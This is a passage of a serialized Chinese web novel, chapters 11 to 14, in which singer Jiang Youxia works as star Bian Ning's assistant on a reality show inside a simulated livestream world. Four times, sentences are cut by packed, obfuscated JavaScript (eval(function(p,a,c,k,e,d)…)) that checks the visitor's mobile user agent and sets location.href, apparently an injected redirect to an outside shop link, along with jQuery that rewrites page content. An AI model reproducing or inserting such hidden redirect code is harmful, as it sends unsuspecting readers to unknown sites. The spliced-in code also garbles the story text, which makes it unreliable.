这么好的事，她那边的热度一定会大大增长，有夏替她松了一口气的同时，又有点顾虑起来。 一场颁奖看下来，获奖的活人演员不超过六个，大部分奖项都被颁发给了机器人。 机器人动作整齐划一，上台，鞠躬，再下台，标准得像是同一个人的分身。 ………… 丘若雁接到的综艺叫做《如果不当明星》，听名字就猜得到，这是个体验职业类的综艺；她给出的理由非常合理：这种节目演好了有两个好处：一，只要做得好，就能让明星立起亲民敬业的形象，第二，给出的价格不低。 很快到了开播的时间，出人意料的是，节目组只是让嘉宾们做完自我介绍后，就直接开始分配任务了。 有夏甚至连一些人的名字相貌都没记住。 【不去《百分百舞台》了吗？想看看她的真实水平，歌写得是真好啊】 【好像被淘汰了，韩珂不是狗急跳墙了吗】 【那种节目不去也罢，一堆黑幕，还有那个韩珂，满嘴长篇大论，歌又难听，我看见就讨厌】 【哈哈哈，他都快被骂死了，不过有夏的思路怎么这么清奇啊，居然猜得到他是在蹭动漫的热度，我之前都没往这方面想过】 【可能明星让人看到的都是精心算计过的吧】 尽管有抄袭风波在身，几个嘉宾也只是偷偷瞄了有夏几眼，保持着良好的职业素养，几句寒暄熟悉过后，就开始各自抽签。 写着职业的纸条被放在一个蓝色的纸箱里，也就意味着抽到的内容都是随机的。 “各位请开始吧。” 第一个上去的平头男抽到了外卖员，接下来的众人陆续上前，有人抽到了建筑工人，还有人抽到了司机和店员，有人欢喜有人愁。 一共十个人，只剩下最后三人时，工作人员却突然把箱子撤下，接着不知从哪拿来了另一个亚克力材质的箱子。 众人；？？？ “这里面有一个隐藏款职业。”导演在一旁喝着汽水坏笑，“体验的是非常规职业。” “哪种隐藏啊？”一个看上去很轻浮的男艺人嘿嘿笑起来，他也还没抽：“不会有福利吧？” 负责介绍的工作人员微笑：“答案就在这里面，全凭运气哦。” 箱子是透明的，只有两张被叠起来的纸条，依然看不到字，隐藏款就写在其中一张纸条上，谁抽到全凭运气。 玩得这么大啊？ 在场所有人的呼吸都有一瞬息的凝滞。 11. Chapter 11 男艺人撩撩刘海，脸上明明已经写满了迫不及待，却还是瞥一眼有夏说：“你先我先？” “女士优先吧。”在场有人嘻嘻笑他，“有点儿风度。” 男艺人无所谓：“也行。” 有夏走上前，两张纸条实在是太像了，就连折叠的弧度都如出一辙，根本看不出什么，她伸手进去，拿起左边的那张。 【这个隐藏款该不会是医生法官那种职业吧？】 【我也感觉，有点期待呢hhh】 【不可能，这种职业哪能开玩笑，而且也不会随便出现在镜头面前】 看着飘过的两条弹幕，她指尖一颤，又把手放到另一张纸条上。 导演还在吹妖风：“温馨提示哈，咱们的录制是十天，但是这个隐藏款会格外累一点，需要接触到的人也会特殊一点，谨慎选择哈。” 就在有夏决心拿起一张的瞬间，男艺人嘴里不知说了什么，风一样走过来，伸手，拿走了半握在她手里的纸条，打开一看，表情微妙：“修空调啊？” 众人纷纷笑起来，导演却突然扬起下巴：“恭喜啊。” 男艺人有点囧，“这有什么好恭喜的。”导演却摇了摇头，把汽水一放，不再看他，露出贱笑看向有夏：“打开看看。” 随着纸条缓缓打开，有夏的表情只有一瞬间的变化。 凑上来的众人却是倒吸了一口凉气，回过神这是在拍节目，又赶紧收起表情。 “明星助理。” “不是吧？”男艺人哈哈大笑，幸好全员都是没名气的四五线，不然还真咽不下这口气。 有夏即将要‘服务’的明星正是歌坛一姐边宁，今年正好四十岁，属于资历和实力都拔尖的那批人，连韩珂来了也要叫一声前辈。 五年前，包揽所有音乐主流奖的边宁淡圈，逐渐转向幕后，现在是仰宁文化的股东之一。 车上，有夏翻阅着边宁的资料，心里不禁脑补，也亏这是生成的虚拟世界，现实中要有经纪人敢接这种节目，怕是会被喷到退圈吧。 去到仰宁的时候已经很晚，还是边宁的助理下来接的，表情和反应淡淡，上了楼，助理在门口等了许久，里面才终于走出一个高挑的黑裙女人。 边宁先微笑着打了招呼：“你好。” 有夏刚要回应，边宁突然把一份文件递给身后的助理，交代了一些事宜，助理接过就去办了，考虑到旁边还有摄像机，有夏继续打招呼：“我很喜欢您的歌。” 边宁涂着哑光口红，挑眉笑笑：“是吗？那有机会一起交流？”她想到什么，又补充了句：“你好像比我还出名点。” 第二天正式开拍。 仰宁是老牌公司，作风干练务实，边宁还是昨天的态度，不冷不热，只让有夏先等着，有什么事会叫她。 不远处的饮水机前，公关部的一个同事悄悄凑到边宁的助理身旁，满脸八卦：“宁姐怎么样？” 之前也有这种艺人互动的节目找上门来，可没见边宁这样冷淡，同事又凑近了点：“感觉姐不太喜欢她啊，这一上午都使唤她多少次了。” 助理心不在焉地撕开速溶咖啡袋：“是啊，姐一直不喜欢这种流量，还是个抄袭的。”侧头一睨紧闭的大门，放低声音：“你是没看到，姐昨天听她那首新歌的时候，脸色有多难看。” 同事摇摇头，笑着接了杯热水，没再接话；下午睡醒，有人打包了咖啡和点心上来，说是边宁请大家吃的。 大家各自接过，这时门口上来一个人影，是有夏搬完了东西，节目组没拍到这边。那人反应过来，笑得古怪：“江老师，不好意思啊，忘了买你的那份了。” 有夏中午自费买了饭，大家都是知道的。一时间所有人看过来，他左顾右盼着找了一阵，最终把自己的那份让出来：“见笑见笑，你吃我的吧。” 在场还有不少工作人员，随便一个都是在娱乐圈混了三五年的，谁不知道这一举动的弦外之音。 “吃点吧。”有人递来纸巾，也附和着说：“江老师也辛苦了。” “是嘛。”男人拿着纸袋晃晃，手腕却已经收回大半，有夏擦汗上前，也朝那人点点头，接过：“那就太谢谢你了。”说完看一眼纸袋里的东西，转身离开。 直到人影彻底消失在走廊，众人也没反应过来。 “…………？” 消沉许久的弹幕终于在这一刻出现井喷式的爆发： 【哈哈哈哈哈哈】 【对方拒绝了您的职场霸凌，并拿走了您的面包】 【不欢迎就不要给，装模作样给谁看，真把别人当你家员工，才不惯着他】 【做了我一直想做的，夏夏好勇】 【……】 有夏看着弹幕，满意地拿出牛角包咬了一口。 没出几日，边宁即将举办演唱会的消息席卷了各大娱乐平台，老牌歌后的实力在线，口碑能打，门票很快一抢而空。 边宁是圈里少见仍独立写曲的人，平时看不出什么，但把作品与韩珂那群人的作品放到一起，好听与否一目了然。 跃星这边，丘若雁很看好这个露面的机会，专门打了电话给有夏，鼓励她好好录，跃星这边的公关就交给她和陈渔。 有夏听出她的意思，边宁的助理突然叫她，示意她把工作餐取一下。 “态度怎么这么差？”丘若雁后知后觉：“你们都上飞机了？” “嘟——嘟——” 演唱会的第一站举办在K市，刚下飞机，迎接他们的是几乎要把机场掀翻的尖叫声。 即使这些年新歌甚少，边宁的歌迷心目中的地位依然， 边宁在前面笑吟吟地接信收礼物，有夏就在后面拿行李，由于也是艺人，只能戴着厚大的口罩。 漫漫看不下去，帮着拎了一些，嘀嘀咕咕：“真把我们当助理了。” 而另一边的节目组哪会放过这个机会，举起摄像机就是一通拍，为了避嫌，还不忘故意少给了有夏一点镜头。 找到酒店时已经很晚，一行人全靠咖啡续命，酒店附近的外卖清一色高油高糖，对艺人来说是大忌。 几人又不得不下楼找清淡的店吃。 K市是国际都市，临近凌晨灯火通明，行人游客不绝，不时还能看见肤色各异的外国人。 走过天桥，有夏下意识顿住脚步，漫漫听见声音，有点熟悉：“夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564355|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏姐，是你的歌吗？” “是《双子星》。” 真正意义上的第一首歌，也是第一张专辑里的第一首歌，对于她意义非凡。 也被她收录在了《8》中，发布在了森行上；即便在异乡的街头听到，心中仍会忍不住一颤。 边宁和助理也停住脚步，有夏兀自循着声音过去，是一个染着黄发的女生，抱着把打制粗劣的吉他弹着曲子。 这是首没什么技巧可言的歌，当初初出茅庐，她用的是最平常的技巧，女生似乎有点害羞，即使弹得很好，也一直低着头。 弹完，她看见面前戴着白色口罩的女人，鼓起勇气，磕磕绊绊问：“您觉得好听吗？” 来往的人都忙着赶路，即便偶尔有驻足来听的，也很快就匆匆离开。眼前这个年轻女人却像真正被她吸引了，没有拍照，没有打量，眼里从始至终都带着欣赏，让人安心。 “你这把吉他用了多久了？”有夏轻轻问，女生又恢复了开始的窘涩，把吉他收了收：“高中的时候攒钱买的，我现在工作了。” 琴盒里装着零钱，原因不言而喻。 她转身，女孩又摸了摸头发，正要叹气，五六分钟后，有夏背着一把崭新的吉他出现，递上。 女孩刚拿到手里就震惊了，现在这种时候，上哪找手感和材质都这么好的吉他？！ 居然会有吉他的弦能做到这么精细，这也就算了，连弦钮和上弦枕都打造得刚好符合手指发力的角度，非常罕见不说，价格肯定在六位数以上。 而她居然就这么送给了自己，她们不过是萍水相逢的陌生人。 等到女孩从惊愕中抬头，入眼，却只有茫茫人海，灯火阑珊。 吃饭时，边宁不住地看着手机，最终饶有兴致问了句：“你还懂乐器？” 有夏：“小时候学过一点。” 边宁表面岿然不动，回到酒店后，特地又把助理叫来了一趟：“她真是个十八线吗？” 助理拿出手机查查，除了基本信息，其余能查到的演艺事迹少得可怜，就连社交账号都没开通。唯一公开的账号，只有听歌软件上的个人账号。 不知道是不是因为抄袭一事搞臭了路人缘，粉丝都没几个。 一个上过综艺的签约艺人，人气甚至还不如的那个面都没露过的‘飞天恐龙’。 代表作只有一首，正是在《百分百舞台》上把韩珂几人听得说不出话的那首。 歌名让人猜不透，名叫《Bubble》。 据说还是什么CityPOP风，抱着半信半疑的心态，边宁戴上耳机。 一个半路冒头的‘飞天恐龙’就把半个乐坛搅得人心惶惶，这个江有夏就算会点编曲，总不可能也有这么大的本事。 边宁见过的昙花一现太多了，心中定下神，顿时觉得耳朵里的曲子也没那么高级。 一首听完，她鬼使神差点下收藏，加入歌单，连助理何时离开了房间都不知道。 等人再次进来，脸上显得有点慌：“宁姐，怎么办？” 边宁莫名其妙：“什么怎么办？”话音刚落，一向沉稳的助理突然拿过手机，她一目十行看完，脸上同样失色。 12. Chapter 12 隔壁房间里，漫漫洗澡去了，有夏拿出pad，实时观看着陈渔的直播。 打脸韩珂后，大部分F站用户对江有夏的观感没好太多，作为全网最大的乐子人聚集地，这些人对所有明星的观感都不怎么好。 大部分人还是这么想的，喵了个咪的，不就是长得比普通人好看，写几首生成歌曲都能赚大钱，凭什么给你们捧臭脚。 三三鱼上次连线飞天恐龙带来的热度不小，粉丝涨了几千，休息几天后，又干劲满满地开了直播。 陈渔看着宅，实际对打打杀杀的游戏一窍不通，解说电影番剧又考验功底，这几年的片子和番不好看，影视区只能逮着老番薅，但老番的深度在那，稍有不慎就要被原作党喷。 但是总揪着江有夏和飞天恐龙当话题吧，似乎也不太好，观众是会看腻的，再三斟酌下，三三鱼充当起深夜电台主播，对着投稿瞎扯皮几句，无奈下播。 “抱歉啊有夏姐。”陈渔一下播就打来语音，声音蔫巴巴的：“同区的up太卷了，这几天也没什么素材。” “没事。”有夏轻声说：“这几天辛苦你了，歇几天也好，免得惹人怀疑。” 陈渔是个刚毕业的小姑娘，干劲充足但缺乏经验，突然受挫失落也正常。时间不早，嘱咐对方先休息，有夏自己研究起来。 可研究什么呢？ 边宁淡圈数年，复出的这场演唱会可谓声势浩大，甚至连当地文旅局都专门发了几条视频宣传，而她现在的名声不算太好，也不能做什么。 要边宁能给个什么‘特别嘉宾’的机会就好了，不过看这两天她对她的态度，还是想想就算了吧。 手机响了，接过，居然是徐佳澍打来的视频。 再三犹豫，按下接通，对面一片漆黑，还有窸窸窣窣的声音。 ？ 像素因为光线昏暗显得很差，中间还卡顿了几次，半分钟过去，她也没看清对面人的脸。 因为情节暂时没有起伏沉寂许久的弹幕倒是活跃起来了： 【打得好熟练啊，都不发个信息问一下就直接打过来了】 【有情况哦，是不是想和人家煲电话粥】 【感觉他们之前认识啊，不然相处氛围怎么这么奇怪】 【哈哈哈就是认识啊，不然徐佳澍为什么总给她做那么多好吃的】 【想锁住女人的心，就要先锁住她的胃么】 对面终于发出一点轻微但能听见的声音。 一声轻笑。 “……”有夏有点无语，下一刻，那边像是打开了灯，昏黄一片，画面是他的工作间，小却整齐。 “在干什么？”他出声，画面镜头推进到摆着设备的桌子上，超大的电脑屏幕上是，画面再次一转，他的脸跃入镜头。 心跳得有点快，那人停下敲键盘的动作，拿起架在一旁的手机，晃晃手：“卡了吗？” 有夏：“没有。” “你在写歌吗？” 他们都是创作型歌手，以往的专辑中，基本是她编曲，他写词，作曲则是共同完成；起初也没有哪个更好一说，但后来组合名声鹊起，唯粉又喜欢拉踩， 徐佳澍说嗯，继续做着手里的事，过了一会，画面又卡一下，接着突然一晃，天旋地转后，应该是掉到了地上，镜头直直对着天花板上的灯。 “…………” 所以他打这通比垃圾食品还没营养的视频是干什么？ 她怎么感觉分手后的他越来越不正常了。 “呜呜——”圆滚滚的猫脸闯入镜头，一双眼睛水汪汪的，还是只三花幼猫，一爪子拍上来，第一次见到她，凑上鼻子嗅嗅，表情还有点疑惑。 这也太可爱了！ 有夏最喜欢猫，没忍住做鬼脸逗了几下，画面再次晃动，他出现，一手抱起小猫放到身上。 “楼下捡的。”他摸摸猫的脑袋，小猫就乖乖地窝在怀里，她收起表情，他似乎看到了那个鬼脸，嘴角往上扬了扬。 看足了猫猫，那边终于说：“没什么要说？” 有夏刚要很实诚地摇摇头，他把手机拿近一点，注意到他的衣着，她轻轻皱眉：“快秋天了还穿背心？” 他穿了件白色的无袖T恤，料子很薄，头发还在滴水，其中一滴顺着侧脸滑进衣领，他没注意到似的，继续敲键盘。 噼噼啪啪。 “…………” 史上最没营养的视频通话出现了，猫很快跑开，有夏也不是很想再看下去，身后传来动静，漫漫洗完澡出来，关心道：“有夏姐，还不休息啊？” “啊，快了…………” 徐佳澍：“怎么了？” 漫漫没听到，说着就要过来，手里几乎下意识把手机盖上，漫漫累着了，也没想那么多。 等她洗完澡，打开手机，那边断断续续发了十几条消息，但都被撤回了，只留下一个简短的“？” - 残阳如血。 边宁的演唱会在‘麋鹿’体育馆举办，离检票还有一个小时，早早站满了歌迷，人声鼎沸。有的举着灯牌的年轻歌迷，也有不时低头忙工作的中年人，甚至还有带着孩子来的。 无数只手举起手机，有条件的举起相机，对着投屏的超大海报咔嚓咔嚓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564356|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 几家主流媒体也来到了现场，对边宁团队很是尊重。 果真是老少皆宜的‘国民偶像’。 节目组见了热度，巴不得弄八百个机位来拍，边宁的团队倒也愿意，真把事务交给有夏和漫漫去做。 “小江！这里有几箱矿泉水搬一下。” “小江！去车上拿化妆包下来，要绿色的那个。” “小江，再拿两份饭盒来，一盒要辣的不要肉，饭要多点，一盒要鸡蛋不要辣，对了，宁姐不吃葱，也不要香菜。” “小江…………” 反观边宁团队的人优哉游哉，看似给有夏‘体验生活’的机会，漫漫替她委屈，眼泪都要流出来了，说什么都要打电话给丘若雁取消录制，有夏拦住她，“算了。” 一辆银白色轿车自街道另一侧驶来，边宁的经纪人立马摆出笑脸，车上下来一个体态良好的女人，边宁的经纪人立即迎了上去。 有歌迷往这边一扫，立马惊呼：“是胡荇姐！” 胡荇和边宁是圈里最要好的姐妹，实力不俗，笑容可掬，身后的工作人员拿下花篮，表示祝贺。 但这仅仅只是开始，接下来，数十辆车陆续到场，下来的艺人都是大腕大咖，和边宁关系很好，纷纷送上花篮。 歌迷中不乏有同时喜爱多位歌手的，见状兴奋得嗷嗷直叫，有夏驻足看了会，边宁助理过来，拿走她买的咖啡，冷淡地说：“行了，你休息吧。” 节目组哪会给她安排休息室，只能回到熄火的车上呆着。 连个让她在这些‘大咖’面前露脸的机会都不给，有夏苦笑，什么文化断层，狗眼看人低这套就传承得很好嘛。 下午六点准，演唱会正式检票，有夏才睡着就被人叫下去。 “是你呀？”声音的主人居然是在《百分百舞台》担当导师的珵越，他之前就是边宁的学生，在这见到有夏有点吃惊，有夏打过招呼，他勉强笑了笑。 入场后，气氛已经很热烈了，入目都是挥舞的荧光棒，舞台的背景洋溢着梦幻的芭比粉，3D特效的爱心泡泡快要溢出屏幕。 歌迷检票，入场，拍照，交流，气氛像是过山车冲上顶峰前的爬坡，所有人都兴奋极了。 一切按部就班，有夏没有位置，只能站在台后，珵越换了衣服走向VIP席，他和韩珂不是一路人，路过身边时不忘安慰她： “慢慢来啊，总有一天你也能开的。” 他指的是演唱会。 有夏礼貌笑笑，不说话。 一阵富有节奏感的旋律响起，五彩缤纷的顶光熄灭，全场欢呼，演唱会正式开始。 13. Chapter 13 漫天的粉色泡泡几乎要把人眩晕了，在全场歌迷疯狂的尖叫中，穿着樱花粉蓬蓬裙的边宁从升降台缓缓出现。 “大家好！” “啊啊啊啊啊啊啊啊啊！！！” 有夏挑挑眉，倒不是出于较量攀比，而是有种‘姐曾经也年轻过’的感慨。 边宁的头上还带着个大大闪闪的粉色蝴蝶结，妆容甜□□态，故意画短了鼻梁，放大卧蚕和双眼，白袜过膝，和平时干练大气的形象很不一样。 按理来说，边宁这种咖位的歌手完全有选择妆造的权力，为什么会化这么不符合自身气质的妆容呢？ 有夏没说话，想了想，可能是她自己喜欢吧。 第一首歌叫做《恋爱苹果》，在一阵欢快童趣的芭乐中，一群穿着苹果头套的舞者蹦蹦跳跳地出现，这首歌在歌迷们心中的地位很高，一出来再次引发了全场尖叫。 一个中世纪贵族打扮的男舞者出场，在舞台中央坐下，身后就是一棵道具树，树叶枝干栩栩如生，随风摇曳。 很快，苹果舞者们模仿着苹果落地的姿态，接二连三地跳下，团团围住，但男舞者依然专心看书。 现场全是：“啊啊啊！” 等等………… 同样穿着红苹果套装的边宁出现了，下一刻，直直落入男舞者的怀中。 歌曲也在此刻达到了高/潮部分，大家一起唱唱跳跳，看台上的歌迷甚至直接站了起来，挥动双手。 “…………？” “这是什么？” 漫漫也已经完全沉浸在全场火热的氛围中，跟着挥舞双手，听见她的问话，头没回道：“啊？这是牛顿和苹果啊。” ？？？ 一首歌唱跳完，灯光熄灭，下一首歌依然是芭乐。 所有歌曲都绕不开爱情，有初恋时懵懵懂懂的心动，有找到真命天子的幸福，再要么就是对于恋人背叛的痛苦。 散场时，不少歌迷的嗓子都是哑的，边宁团队又以拍摄为由，示意她去买夜宵；节目组一直没把她看得太重，也没半点意见，对着边宁猛拍。 拖着快散架的身躯回到酒店，陈渔发来了几条消息，说是F站有热情的粉丝为她建了个论坛。 当然，是以‘飞天恐龙’而非‘江有夏’的名义。 还有这好事？ 顺着链接点进去一看，这个是论坛前几天建立的，却已经有四千多人加入，现在接近凌晨，实时讨论度不算很高，气氛却很好， 【礼貌发问，大家都是从哪首歌入的坑？】 【有人交友吗，只接受喜欢龙龙的女孩子哦】 【想听她出一期教学视频，一期也好，好多编曲技巧都好高级】 【龙龙什么时候来啊，她会开演唱会吗】 【我今天看到好几个带节奏的营销号了，大家在外面一定要文明发言，不要给她招黑】 就…………挺有趣的。 在原来的世界里，她是万众瞩目的歌后，粉丝成分可谓非常庞大奇葩；有正常听歌支持的，也有听歌不粉人的。 但这都还算正常，最头疼当属辱追和CP粉。而CP粉细分一下，又能大致分为两类：偏爱她的和偏爱徐佳澍的。 于是组合的超话里经常会出现这几种情况： 辱追粉：很难过，新歌是什么垃圾，十年老粉表示非常失望，现在都有人拿你们和小鲜肉比了，这就是不努力的下场。 偏女方的CP粉：夏夏今晚好漂亮，为什么佳澍离她这么远啊 偏男方的CP粉：澍哥造型不错啊，希望有夏能再热情点。 每逢这个时候，最最最可怕的毒唯就出场了，举起键盘对着各路粉丝就是一通骂。然后互相对立，开始从歌曲本身撕，再撕代言，撕咖位，撕MV镜头时长，最后丢下一句：‘我们家姐姐(哥哥)和队友不熟，谢谢。’ 戾气太重，真正的歌迷反而无处交流，搞得她后面根本不愿意打开社交软件。 这个论坛让她有一种回到净土的感觉。 往下滑，还有画手粉丝板绘了张Q版的绿色小龙，非常呆萌；由于是个新论坛，帖子很快就浏览完了，她用潜水号默默加入论坛，这时陈渔又发来消息：“有夏姐，你那边怎么样了？” 她打字回复：我还可以，公司怎么样？ 这次出来得匆忙，也没想到会‘好运’地抽中那个隐藏款职业，连电脑都没带，更不要说各种沉重的编曲设备。 陈渔：挺好的，那两个原本要走的毕业生也签下来了。 总归是条好消息。 有夏回复过，再次打开pad，打开森行，开屏像是在宣发什么东西，点进去，年度十大最佳专辑排行榜新鲜出炉。 第一名：《心跳符号》 第二名：《恋西瓜之味》 第三名：《脸红的泡泡雨》 ………… 专辑封面多是粉红色，画面被大面积的泡泡、气球以及玫瑰花占据。有夏滑动鼠标，各选了主打歌一首首听完，再看评论区，躺回床上若有所思。 第二天休息，边宁团队早早出门，说是有一个广告要拍，并没叫上有夏两人，想来还是不想给她露面的机会。 有夏难得落个清闲，才不会要求跟着去，和漫漫睡了个自然醒。 下午七点，边宁披着外套匆匆离开拍摄棚，楼下就是咖啡馆，胡荇早早点好饮品等候。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564357|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就女歌手这边，二人这些年在圈内的地位可谓无人能敌，大小主流奖项拿到手软不说，还带出了好几个新生代人气，人脉资源两不愁，没人敢不称呼一声‘前辈’。 二人各点了一杯冰咖啡，一块低糖甜品，就着份蔬菜沙拉，算是晚饭。 整家店客人稀少，放着舒缓的小提琴曲，雨点淅沥，在玻璃上进行着追逐赛，就着暮色千灯，模糊出无数光点。 闲聊一会，说到近两年，胡荇最先试探性问道：“最近有几个网络歌手倒是挺火的，连我助理都在听。” 旁边人叉水果的动作戛然而止。 “飞天恐龙是吧？”边宁拿勺子切下提拉米苏的一角，“知道啊。” 胡荇：“听声音倒是很年轻，就是不知道有没有签公司。” 听不出对方的态度，边宁有点心烦，拿出手机搜了搜，圈内有几个好友聚餐时都说过这事，她不屑于和选秀出道的那批流量走得太近，故此朋友都是一二线。 连这群行业顶端都感到了危机，她这才稍稍重视起这位连歌手都不算的新人。 “你觉得怎么样？”边宁半挑破窗户纸：“这样的人，说没有人在背后捧？”她喝口咖啡，挑眉轻笑：“谁信呢？” 胡荇不可置否，见人脸色明显变差，移开话题，“你那个小助理呢？我昨天都看到了，人家好歹也是个艺人，还真让她忙上忙下啊？” 边宁冷笑：“要不是和韩珂那档事，她能有这么好的曝光。”红唇一扬：“他也是个蠢的，包庇人晋级这种事还直接说。” 韩珂在圈子里看似风光，却没多少人真正看得起，一来实力确实不够高，二来人品太差，连潜规则女学员这种事都能冠冕堂皇地说出来，私下的下流程度可想而知。 墙倒众人推，录音事件一出，没人敢再和他公开互动，几个参加《百分百舞台》的导师学员都连夜取关了他，可谓颜面扫地。 “那姑娘是个狠人啊。”胡荇啧啧称奇，“不过就算现在还有点热度，能露个脸赚点钱，等讨论度没了，估计又…………唉。” 这种情况太多了，感慨都感慨不过来。想到这个，边宁的心情好了一些，呼吸都顺畅许多，一个十八线是不足以引起太多注意的，很快聊起别的。 天雷滚过，电闪雷鸣，雨越下越大。 回到酒店，下车，助理打伞时突然一顿，接着赶紧撑开伞带着人往里走，边宁淋了雨，不禁责怪：“你急什么急？” 酒店里明亮宽敞，助理擦一把雨水，摇摇头：“没什么，就是看外面有个人老往这边盯着，是极端歌迷就不好了。” 边宁眸光一凝，这时玻璃大门再次推开，一个戴口罩的女人进来。 14. Chapter 14 “什么人？”边宁的声音一颤，下意识往经纪人身后一靠。 “边姐。”有夏摘下帽子，对着人微微一笑，看了眼外面的雨：“没淋湿吧？” “…………” “江老师这是去哪了？”边宁的助理回答，眼神里带着可察的较量，“雨这么大，建议还是跟着团队这边行动比较好哈。” 言外之意，就是你个糊咖在这千万别乱跑，出了事还要我们负责。 有夏点点头，边宁却始终没有正面回答，闻言还把墨镜戴上了。漫漫看不得她受气，三两句岔开话题，跟着有夏上楼。 不得不承认，找录音室也是件费力的事，从前她自己有专门的录音团队，不用操心这种小事。 但现在不同了，智能音乐横行下，录音室也在与日俱减，还基本都被大牌歌手常年，很难预约。 最重要的是，价格实在太贵了，而‘飞天恐龙’这个号毕竟只是网络歌手，要想带领她自己和跃星都过上好日子，那点钱是远远不够的。 第一桶金先是拿来招了新人，又给几个公司内翻了翻新，剩下的钱这几天也花掉了，现在口袋里比脸还干净。 也难怪丘若雁会给她接这么奇葩的综艺。 深谙娱乐圈规则的她明白，一个真心想要打拼事业的歌手，常年只做一个‘综艺咖’可不行。 而录音只是第一步，歌是否能成功上架也很关键，这里的节奏飞快，实体唱片早就被淘汰了，电子专辑又不便宜，除了各家歌手的粉丝，买账的人寥寥无几。 而她要想上架一首歌，可谓困难重重。 雨还在下，这时电话响起，是江与宁打来的，接通，女人略显疲惫的声音传出：“夏夏，要不再缓缓，先借综艺打开点知名度再…………” 话音未落，落入耳中的是剧烈的咳嗽声，想来也是担心，跃星现在刚有起色，经不起太大的试错。 “小姨，我…………”她顿了顿，看着窗外雨丝飞斜，有点犹豫，现在确实还没有能让她足够放心的本事。 而且这不是21世纪，万一听众就喜欢生成音乐那一套，她的作品依然没有市场。 流行音乐是做给大众听的，有时候人们鄙夷土味动感的嗨歌，但听歌软件上排名靠前的永远是这些。 没有市场，是最大的困境，空有阳春白雪没有用。 “听小姨的，回来后休息几天。”江与宁意识到自己的话有点急，缓和了语气：“若雁那边在帮你争取一个广告，虽然小，但总归能带点名气，” “…………” “嗯。” 江与宁又嘱咐了几句，就有事去了，有夏没要她转来的钱，心烦意乱之下，打开了论坛。 论坛里的歌迷多是从F站来的，现在的实时交流量不低，帖子的字里行间都带着搞笑的气息，甚至有人猜测起她的情感状况： 【龙龙是单身吗？感觉会是个很温柔漂亮的妹子，想看她爆照】 下面很快有人回复： 【这么说不好吧？我们还是离偶像的生活远一点】 【龙龙已经很优秀了，就算不温柔不漂亮我们也喜欢她，谢谢】 那人继续回复：【我就说着玩嘛，而且声音这么好听的妹子不露脸可惜了】 【@管理员，建议删帖】 有夏眉头微蹙，但也没太放在心上，没想到下一刻，那条内容的旁边居然冒出个红色感叹号，居然被屏蔽了。 是建立者空降，ID叫做‘城堡骑士’，不多时，一条公告空降论坛置顶：禁止讨论恐龙的三次信息，文明发言，违者屏蔽。 大部分歌迷还是很正常的，公告一出，纷纷表示赞同。 第二天一早，有夏是被边宁团队的一名工作人员吵醒的。 “这才凌晨四点！”漫漫忍不住上前理论，对方是个三十出头的男人，涂着红艳艳的指甲油，漫不经心道：“节目组安排的，我们有什么办法？” 男人说完就离开了，有夏示意漫漫先休息，她自己来就好。 演唱会共有两场，今天则是在更大的‘象鼻’体育馆举办，这场的售票则更多，节目组抓准热度，完全把人抛到了一边。 后来有夏才知道，这节目组之所以能傍上边宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564358|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的大咖，完全是因为边宁之前欠过导演一个人情，才不得已接了节目。 边宁的粉丝没少在网上抱怨，说江有夏这种‘黑红’的人，接近边宁已经不是抬咖了，完全是 寒风瑟瑟，节目组为了体现职业的‘真实性’，安排了好几个机位对着她拍来拍去。 忙到中午，终于能休息。 刚坐下一阵头疼，眼前蓝光闪烁，是主控板的排名刷新出来了。 【您的排名：109/210】 【前进名次：10】 【排行榜已进行刷新，新的任务即将来临，玩家请做好准备】 【热度：10880】 这个是………… 对哦！ 这场直播直到现在，除了徐佳澍和付黎，她还没有见过剩下的一百多名玩家，唯一能确定的是，他们也是21世纪的话题人 物。 打开新的排行榜，前三名的人和上一次见到的没什么变化，第一名是个有名的富豪，叫沈问洲，第二名是个以无节操重口味著名的网红，叫易瑞安，第三名是个影后，叫做卢伊。 当时进来的时候就说过规则，这不是在一个个世界里闯关打怪猎奇的直播，而是伪现实向的直播。 